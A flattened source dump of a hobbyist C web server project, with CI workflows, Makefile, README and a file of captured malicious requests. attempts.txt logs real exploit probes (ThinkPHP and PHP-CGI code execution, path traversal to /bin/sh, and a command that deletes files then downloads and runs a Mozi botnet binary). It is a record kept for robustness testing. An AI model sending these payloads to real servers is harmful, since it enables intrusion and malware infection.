├── .github └── workflows │ ├── changelog.yaml │ ├── codeql.yaml │ ├── linting.yaml │ ├── release.yaml │ └── testing.yaml ├── .gitignore ├── Makefile ├── README.md ├── UNLICENSE ├── attempts.txt ├── config.txt ├── docroot ├── chessboard.jpg └── index.html ├── misc └── nginx.conf ├── serve.c └── tests ├── test.py └── test_config.c /.github/workflows/changelog.yaml: -------------------------------------------------------------------------------- 1 | name: Changelog 2 | 3 | on: 4 | workflow_call: 5 | push: 6 | tags: 7 | - "v*.*.*" 8 | 9 | jobs: 10 | changelog: 11 | name: Generate and publish changelog 12 | runs-on: ubuntu-latest 13 | permissions: 14 | contents: write 15 | steps: 16 | - name: Checkout 17 | uses: actions/checkout@v4 18 | with: 19 | fetch-depth: 0 20 | 21 | - name: Generate a changelog 22 | uses: orhun/git-cliff-action@v4 23 | id: git-cliff 24 | with: 25 | config: cliff.toml 26 | args: --verbose --latest --strip header 27 | env: 28 | OUTPUT: CHANGELOG.md 29 | GITHUB_REPO: ${{ github.repository }} 30 | 31 | - name: Polish changelog 32 | shell: bash 33 | run: sed -i '1,2d' CHANGELOG.md 34 | 35 | - name: Upload the changelog 36 | uses: ncipollo/release-action@v1 37 | with: 38 | # draft: true 39 | allowUpdates: true 40 | bodyFile: CHANGELOG.md 41 | -------------------------------------------------------------------------------- /.github/workflows/codeql.yaml: -------------------------------------------------------------------------------- 1 | # For most projects, this workflow file will not need changing; you simply need 2 | # to commit it to your repository. 3 | # 4 | # You may wish to alter this file to override the set of languages analyzed, 5 | # or to provide custom queries or build logic. 6 | # 7 | # ******** NOTE ******** 8 | # We have attempted to detect the languages in your repository. Please check 9 | # the `language` matrix defined below to confirm you have the correct set of 10 | # supported CodeQL languages. 11 | # 12 | name: "CodeQL Advanced" 13 | 14 | on: 15 | push: 16 | branches: 17 | - main 18 | - dev 19 | pull_request: 20 | branches: 21 | - main 22 | - dev 23 | schedule: 24 | - cron: '19 8 * * 2' 25 | 26 | jobs: 27 | analyze: 28 | name: Analyze (${{ matrix.language }}) 29 | # Runner size impacts CodeQL analysis time. To learn more, please see: 30 | # - https://gh.io/recommended-hardware-resources-for-running-codeql 31 | # - https://gh.io/supported-runners-and-hardware-resources 32 | # - https://gh.io/using-larger-runners (GitHub.com only) 33 | # Consider using larger runners or machines with greater resources for possible analysis time improvements. 34 | runs-on: ${{ (matrix.language == 'swift' && 'macos-latest') || 'ubuntu-latest' }} 35 | permissions: 36 | # required for all workflows 37 | security-events: write 38 | 39 | # required to fetch internal or private CodeQL packs 40 | packages: read 41 | 42 | # only required for workflows in private repositories 43 | actions: read 44 | contents: read 45 | 46 | strategy: 47 | fail-fast: false 48 | matrix: 49 | include: 50 | - language: c-cpp 51 | build-mode: autobuild 52 | - language: python 53 | build-mode: none 54 | # CodeQL supports the following values keywords for 'language': 'c-cpp', 'csharp', 'go', 'java-kotlin', 'javascript-typescript', 'python', 'ruby', 'swift' 55 | # Use `c-cpp` to analyze code written in C, C++ or both 56 | # Use 'java-kotlin' to analyze code written in Java, Kotlin or both 57 | # Use 'javascript-typescript' to analyze code written in JavaScript, TypeScript or both 58 | # To learn more about changing the languages that are analyzed or customizing the build mode for your analysis, 59 | # see https://docs.github.com/en/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning. 60 | # If you are analyzing a compiled language, you can modify the 'build-mode' for that language to customize how 61 | # your codebase is analyzed, see https://docs.github.com/en/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/codeql-code-scanning-for-compiled-languages 62 | steps: 63 | - name: Checkout repository 64 | uses: actions/checkout@v4 65 | 66 | # Initializes the CodeQL tools for scanning. 67 | - name: Initialize CodeQL 68 | uses: github/codeql-action/init@v3 69 | with: 70 | languages: ${{ matrix.language }} 71 | build-mode: ${{ matrix.build-mode }} 72 | # If you wish to specify custom queries, you can do so here or in a config file. 73 | # By default, queries listed here will override any specified in a config file. 74 | # Prefix the list here with "+" to use these queries and those in the config file. 75 | 76 | # For more details on CodeQL's query packs, refer to: https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs 77 | # queries: security-extended,security-and-quality 78 | 79 | # If the analyze step fails for one of the languages you are analyzing with 80 | # "We were unable to automatically build your code", modify the matrix above 81 | # to set the build mode to "manual" for that language. Then modify this step 82 | # to build your code. 83 | # ℹ️ Command-line programs to run using the OS shell. 84 | # 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun 85 | - if: matrix.build-mode == 'manual' 86 | shell: bash 87 | run: | 88 | echo 'If you are using a "manual" build mode for one or more of the' \ 89 | 'languages you are analyzing, replace this with the commands to build' \ 90 | 'your code, for example:' 91 | echo ' make bootstrap' 92 | echo ' make release' 93 | exit 1 94 | 95 | - name: Perform CodeQL Analysis 96 | uses: github/codeql-action/analyze@v3 97 | with: 98 | category: "/language:${{matrix.language}}" 99 | -------------------------------------------------------------------------------- /.github/workflows/linting.yaml: -------------------------------------------------------------------------------- 1 | name: Lint 2 | 3 | on: 4 | push: 5 | branches: 6 | - main 7 | - dev 8 | pull_request: 9 | branches: 10 | - main 11 | - dev 12 | 13 | jobs: 14 | lint: 15 | runs-on: ubuntu-latest 16 | 17 | steps: 18 | - uses: actions/checkout@v4 19 | 20 | - name: Set up Python 3.12 21 | uses: actions/setup-python@v5 22 | with: 23 | python-version: "3.12" 24 | 25 | - name: Setup environment 26 | run: | 27 | python3 -m venv venv 28 | ./venv/bin/pip install pylint 29 | 30 | - name: Run pylint 31 | run: | 32 | ./venv/bin/pylint tests 33 | -------------------------------------------------------------------------------- /.github/workflows/release.yaml: -------------------------------------------------------------------------------- 1 | on: 2 | push: 3 | branches: 4 | - main 5 | tags: 6 | - 'v*' 7 | 8 | name: Release Packaging 9 | 10 | permissions: 11 | contents: write 12 | 13 | jobs: 14 | tests: 15 | uses: ./.github/workflows/testing.yaml 16 | 17 | changelog: 18 | uses: ./.github/workflows/changelog.yaml 19 | 20 | release: 21 | needs: [tests, changelog] 22 | name: Release Packaging 23 | runs-on: ubuntu-latest 24 | 25 | steps: 26 | - uses: actions/checkout@v4 27 | 28 | - name: Release Build 29 | run: make 30 | 31 | - name: Create Release 32 | env: 33 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 34 | tag: ${{ github.ref_name }} 35 | run: | 36 | gh release create "$tag" \ 37 | --repo="$GITHUB_REPOSITORY" \ 38 | --title="${tag#v}" \ 39 | --generate-notes 40 | -------------------------------------------------------------------------------- /.github/workflows/testing.yaml: -------------------------------------------------------------------------------- 1 | name: Testing 2 | 3 | on: 4 | workflow_call: 5 | push: 6 | branches: 7 | - main 8 | - dev 9 | pull_request: 10 | branches: 11 | - main 12 | - dev 13 | 14 | jobs: 15 | build: 16 | runs-on: ubuntu-latest 17 | 18 | steps: 19 | - uses: actions/checkout@v4 20 | 21 | - name: make 22 | run: | 23 | make 24 | make test_config 25 | mkdir bin 26 | bash -c 'mv {serve,serve_cov,serve_debug,test_config} bin/' 27 | 28 | - name: Temporarily save artifacts 29 | uses: actions/upload-artifact@v4 30 | with: 31 | name: artifacts 32 | path: bin 33 | retention-days: 1 34 | 35 | test: 36 | needs: [build] 37 | runs-on: ubuntu-latest 38 | 39 | steps: 40 | - name: Checkout 41 | uses: actions/checkout@v4 42 | 43 | - name: Retrieve saved artifacts 44 | uses: actions/download-artifact@v4 45 | with: 46 | name: artifacts 47 | path: bin 48 | 49 | - name: Move artifacts to project root 50 | run: | 51 | chmod +x bin/* 52 | mv bin/* . 53 | 54 | - name: Set up Python 3.12 55 | uses: actions/setup-python@v5 56 | with: 57 | python-version: "3.12" 58 | 59 | - name: Run tests 60 | run: | 61 | cd tests 62 | python test.py 63 | 64 | test-config: 65 | needs: [build] 66 | runs-on: ubuntu-latest 67 | 68 | steps: 69 | - name: Checkout 70 | uses: actions/checkout@v4 71 | 72 | - name: Retrieve saved artifacts 73 | uses: actions/download-artifact@v4 74 | with: 75 | name: artifacts 76 | path: bin 77 | 78 | - name: Move artifacts to project root 79 | run: | 80 | chmod +x bin/* 81 | mv bin/* . 82 | 83 | - name: Run config tests 84 | run: | 85 | ./test_config -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *.o 2 | *.pem 3 | serve 4 | serve_* 5 | *.gcno 6 | *.gcda 7 | logs/log_*.txt 8 | *.info 9 | logs 10 | report 11 | 3p 12 | backtrace.txt 13 | tests/test_config.txt 14 | test_config 15 | test_config_cov -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: all report cppcheck gcc-analyzer clang-tidy 2 | 3 | HTTPS ?= 0 4 | 5 | COMMON_FLAGS = -Wall -Wextra -DHTTPS=$(HTTPS) -ggdb -rdynamic 6 | DEBUG_FLAGS = -O0 -ggdb #-fsanitize=address,undefined 7 | COVERAGE_FLAGS = -fprofile-arcs -ftest-coverage -lgcov 8 | RELEASE_FLAGS = -ggdb -O2 -DNDEBUG -DRELEASE 9 | 10 | ifneq ($(HTTPS),0) 11 | COMMON_FLAGS += -l:libbearssl.a -I3p/BearSSL/inc -L3p/BearSSL/build 12 | endif 13 | 14 | all: serve_debug serve_cov serve 15 | 16 | test_config: tests/test_config.c serve.c 17 | gcc $< -o $@ $(COMMON_FLAGS) $(RELEASE_FLAGS) 18 | 19 | test_config_cov: tests/test_config.c serve.c 20 | gcc $< -o $@ $(COMMON_FLAGS) $(COVERAGE_FLAGS) 21 | 22 | serve: serve.c 23 | gcc $< -o $@ $(COMMON_FLAGS) $(RELEASE_FLAGS) 24 | 25 | serve_cov: serve.c 26 | gcc $< -o $@ $(COMMON_FLAGS) $(COVERAGE_FLAGS) 27 | 28 | serve_debug: serve.c 29 | gcc $< -o $@ $(COMMON_FLAGS) $(DEBUG_FLAGS) 30 | 31 | report: 32 | lcov --capture --directory . --output-file coverage.info 33 | @ mkdir -p report 34 | genhtml coverage.info --output-directory report 35 | 36 | cppcheck: 37 | cppcheck -j1 --enable=portability serve.c 38 | cppcheck -j1 --enable=style serve.c 39 | 40 | gcc-analyzer: 41 | gcc -c -fanalyzer serve.c 42 | 43 | clang-tidy: 44 | clang-tidy serve.c -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # My Blog Technology 2 | 3 | ![Builds](https://github.com/cozis/blogtech/actions/workflows/testing.yaml/badge.svg) 4 | [![GitHub Release](https://img.shields.io/github/release/cozis/blogtech.svg)](https://github.com/cozis/blogtech/releases/latest) 5 | [![License](https://img.shields.io/github/license/cozis/blogtech.svg)](https://github.com/cozis/blogtech/blob/main/UNLICENSE) 6 | 7 | This is a minimal web server designed to host my blog. It's built from scratch to be robust enough to face the public internet. No reverse proxies required! You can see it in action at http://playin.coz.is/index.html. 8 | 9 | I asked [Reddit](https://www.reddit.com/r/C_Programming/comments/1falo3b/using_my_c_web_server_to_host_a_blog_you_cant/) to [hack](https://www.reddit.com/r/hacking/comments/1fcc5hd/im_using_my_custom_c_webserver_to_host_my_blog_no/) me, which resulted in gigabytes of hilarious and malicious request logs. I saved some in `attempts.txt`, and may dig out a few more for fun someday :^) 10 | 11 | There is also a discussion on [Hacker News](https://news.ycombinator.com/item?id=41642151). 12 | 13 | Feel free to help! At this time the main focus is on semantic correctess of HTTP and testing. I try to keep the main branch stable so remember to target the dev branch with PRs. Changes to README are fine to do on main though. 14 | 15 | # But.. Why? 16 | I enjoy making my own tools and I'm a bit tired of hearing that everything needs to be "battle-tested." So what it will crash? Bugs can be fixed :^) 17 | 18 | # Specs 19 | - Linux only 20 | - Implements HTTP/1.1, pipelining, and keep-alive connections 21 | - HTTPS support (up to TLS 1.2 using BearSSL) 22 | - Minimal dependencies (libc and BearSSL when using HTTPS) 23 | - Configurable timeouts 24 | - Access logs, crash logs, log rotation, disk usage limits 25 | - No `Transfer-Encoding: Chunked` (responds with `411 Length Required`, prompting the client to resend with `Content-Length`) 26 | - Single core (This will probably change when I get a better VPS) 27 | - No static file caching (yet) 28 | 29 | # Benchmarks 30 | The focus of the project is robustness, but it's definitely not slow. Here's a quick comparison agains nginx (static endpoint, both single-threaded, 1K connection limit) 31 | ``` 32 | (blogtech) 33 | $ wrk -c 500 -d 5s http://127.0.0.1:80/hello 34 | Running 5s test @ http://127.0.0.1:80/hello 35 | 2 threads and 500 connections 36 | Thread Stats Avg Stdev Max +/- Stdev 37 | Latency 6.66ms 3.71ms 48.87ms 92.30% 38 | Req/Sec 39.59k 6.43k 50.60k 67.35% 39 | 385975 requests in 5.01s, 30.55MB read 40 | Requests/sec: 76974.24 41 | Transfer/sec: 6.09MB 42 | 43 | (nginx) 44 | $ wrk -c 500 -d 5s http://127.0.0.1:8080/hello 45 | Running 5s test @ http://127.0.0.1:8080/hello 46 | 2 threads and 500 connections 47 | Thread Stats Avg Stdev Max +/- Stdev 48 | Latency 149.11ms 243.02ms 934.12ms 81.80% 49 | Req/Sec 24.97k 16.87k 57.73k 61.11% 50 | 224790 requests in 5.08s, 42.01MB read 51 | Requests/sec: 44227.78 52 | Transfer/sec: 8.27MB 53 | ``` 54 | 55 | Nginx uses this configuration: 56 | ``` 57 | worker_processes 1; 58 | 59 | events { 60 | worker_connections 1024; 61 | } 62 | 63 | http { 64 | server { 65 | listen 8080; 66 | location /hello { 67 | add_header Content-Type text/plain; 68 | return 200 "Hello, world!"; 69 | } 70 | } 71 | } 72 | ``` 73 | 74 | # Build & Run 75 | By default the server build is HTTP-only: 76 | ``` 77 | $ make 78 | ``` 79 | this generates the executables: `serve` (release build), `serve_cov` (coverage build), and `serve_debug` (debug build). 80 | 81 | To enable HTTPS, you'll need to clone BearSSL and build it. You can do so by running these commands from the root folder of this repository: 82 | ``` 83 | $ mkdir 3p 84 | $ cd 3p 85 | $ git clone https://www.bearssl.org/git/BearSSL 86 | $ cd BearSSL 87 | $ make -j 88 | $ cd ../../ 89 | $ make -B HTTPS=1 90 | ``` 91 | The same executables will be generated, but with secure connections on port 443 (release) or 8081 (debug). 92 | 93 | Place your `cert.pem` and `key.pem` files in the same directory as the executable. You can customiza names and locations by changing: 94 | ```c 95 | #define HTTPS_KEY_FILE "key.pem" 96 | #define HTTPS_CERT_FILE "cert.pem" 97 | ``` 98 | 99 | For testing locally with HTTPS, generate a self-signed certificate (and private key): 100 | ``` 101 | openssl genpkey -algorithm RSA -out key.pem -pkeyopt rsa_keygen_bits:2048 102 | openssl req -new -x509 -key key.pem -out cert.pem -days 365 103 | ``` 104 | 105 | # Usage 106 | The server loads its configuration from the `config.txt` file. You can use a different file by specifying it as command line argument `./serve my_configs.txt`. Here is an example configuration: 107 | ``` 108 | # Log buffer size in bytes 109 | log_buff_size_b 1048576 # 1MB 110 | 111 | # Log file size limit in bytes 112 | log_file_limit_b 16777216 # 16MB 113 | 114 | # Log folder limit in megabytes 115 | log_dir_limit_mb 25600 # 25GB 116 | 117 | # Log folder 118 | log_dir_path logs 119 | 120 | # Capacity of the server. This must be lower than the NOFILE rlimit by 2 121 | # If the rlimit is 1024, max_connections can only go up to 1024-2=1022 122 | max_connections 1022 123 | 124 | # Address and port the HTTP server will listen on. 125 | # To bind to all available interfaces, leave a blank address blank: 126 | http_addr "127.0.0.1" 127 | http_port 8080 128 | 129 | # Address and port the HTTPS server will listen on (if the server 130 | # has been built with HTTPS support). To bind to all interfaces you 131 | # must leave the address blank. 132 | https_addr "127.0.0.1" 133 | https_port 8081 134 | 135 | # Certificate and private key files 136 | cert_file "cert.pem" 137 | privkey_file "key.pem" 138 | ``` 139 | 140 | The server serves static content from the `docroot/` folder. You can change this by modifying the `respond` function: 141 | ```c 142 | typedef struct { 143 | Method method; 144 | string path; 145 | int major; 146 | int minor; 147 | int nheaders; 148 | Header headers[MAX_HEADERS]; 149 | string content; 150 | } Request; 151 | 152 | void respond(Request request, ResponseBuilder *b) 153 | { 154 | if (request.major != 1 || request.minor > 1) { 155 | status_line(b, 505); // HTTP Version Not Supported 156 | return; 157 | } 158 | 159 | if (request.method != M_GET) { 160 | status_line(b, 405); // Method Not Allowed 161 | return; 162 | } 163 | 164 | if (string_match_case_insensitive(request.path, LIT("/hello"))) { 165 | status_line(b, 200); 166 | append_content_s(b, LIT("Hello, world!")); 167 | return; 168 | } 169 | 170 | if (serve_file_or_dir(b, LIT("/"), LIT("docroot/"), request.path, NULLSTR, false)) 171 | return; 172 | 173 | status_line(b, 404); 174 | append_content_s(b, LIT("Nothing here :|")); 175 | } 176 | ``` 177 | you can add your endpoints here by switching on the `request.path` field. Note that the path is just a slice into the request buffer. URIs are not parsed. 178 | 179 | # Testing 180 | I routinely run the server under valgrind and sanitizers (address, undefined) and target it using `wrk`. I'm also adding automatized tests to `tests/test.py` to check compliance with the HTTP/1.1 spec. I also use it to host my website and post it here and there to keep it under stress.Turns out, all of those bots scanning he internet for vulnerable websites make great fuzzers! 181 | 182 | # Known Issues 183 | - Server replies to HTTP/1.0 clients as HTTP/1.1 184 | - Server rejects HEAD requests 185 | -------------------------------------------------------------------------------- /UNLICENSE: -------------------------------------------------------------------------------- 1 | This is free and unencumbered software released into the public domain. 2 | 3 | Anyone is free to copy, modify, publish, use, compile, sell, or 4 | distribute this software, either in source code form or as a compiled 5 | binary, for any purpose, commercial or non-commercial, and by any 6 | means. 7 | 8 | In jurisdictions that recognize copyright laws, the author or authors 9 | of this software dedicate any and all copyright interest in the 10 | software to the public domain. We make this dedication for the benefit 11 | of the public at large and to the detriment of our heirs and 12 | successors. We intend this dedication to be an overt act of 13 | relinquishment in perpetuity of all present and future rights to this 14 | software under copyright law. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 17 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 18 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. 19 | IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR 20 | OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, 21 | ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR 22 | OTHER DEALINGS IN THE SOFTWARE. 23 | 24 | For more information, please refer to -------------------------------------------------------------------------------- /attempts.txt: -------------------------------------------------------------------------------- 1 | 2 | GET /app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1\r\n 3 | Host: 209.74.66.158:80\r\n 4 | Accept: */*\r\n 5 | Upgrade-Insecure-Requests: 1\r\n 6 | User-Agent: Custom-AsyncHttpClient\r\n 7 | Connection: keep-alive\r\n 8 | Content-Type: text/plain\r\n 9 | Content-Length: 33\r\n 10 | \r\n 11 | 12 | GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1\r\n 13 | Host: 209.74.66.158:80\r\n 14 | Accept: */*\r\n 15 | Upgrade-Insecure-Requests: 1\r\n 16 | User-Agent: Custom-AsyncHttpClient\r\n 17 | Connection: keep-alive\r\n 18 | \r\n 19 | 20 | GET /public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1\r\n 21 | Host: 209.74.66.158:80\r\n 22 | Accept: */*\r\n 23 | Upgrade-Insecure-Requests: 1\r\n 24 | User-Agent: Custom-AsyncHttpClient\r\n 25 | Connection: keep-alive\r\n 26 | \r\n 27 | 28 | GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/+/tmp/index1.php HTTP/1.1\r\n 29 | Host: 209.74.66.158:80\r\n 30 | Accept: */*\r\n 31 | Upgrade-Insecure-Requests: 1\r\n 32 | User-Agent: Custom-AsyncHttpClient\r\n 33 | Connection: keep-alive\r\n 34 | \r\n 35 | 36 | GET /index.php?lang=../../../../../../../../tmp/index1 HTTP/1.1\r\n 37 | Host: 209.74.66.158:80\r\n 38 | Accept: */*\r\n 39 | Upgrade-Insecure-Requests: 1\r\n 40 | User-Agent: Custom-AsyncHttpClient\r\n 41 | Connection: keep-alive\r\n 42 | \r\n 43 | 44 | GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1\r\n 45 | User-Agent: Hello, world\r\n 46 | Host: 209.74.66.158:80\r\n 47 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n 48 | Connection: keep-alive\r\n 49 | \r\n 50 | 51 | GET /cgi-bin/luci/;stok=/locale HTTP/1.1\r\n 52 | Host: 209.74.66.158:80\r\n 53 | User-Agent: Hello\r\n 54 | \r\n 55 | 56 | POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1\r\n 57 | Host: 209.74.66.158:80\r\n 58 | Accept: */*\r\n 59 | Upgrade-Insecure-Requests: 1\r\n 60 | User-Agent: Custom-AsyncHttpClient\r\n 61 | Connection: keep-alive\r\n 62 | Content-Type: text/plain\r\n 63 | Content-Length: 105\r\n 64 | \r\n 65 | 66 | POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D""+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1\r\n 67 | Host: 209.74.66.158:80\r\n 68 | Content-Type: application/x-www-form-urlencoded\r\n 69 | Content-Length: 98\r\n 70 | \r\n 71 | 72 | POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1\r\n 73 | Host: 209.74.66.158:80\r\n 74 | Accept: */*\r\n 75 | Upgrade-Insecure-Requests: 1\r\n 76 | User-Agent: Custom-AsyncHttpClient\r\n 77 | Connection: keep-alive\r\n 78 | Content-Type: text/plain\r\n 79 | Content-Length: 105\r\n 80 | \r\n 81 | 82 | GET /././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.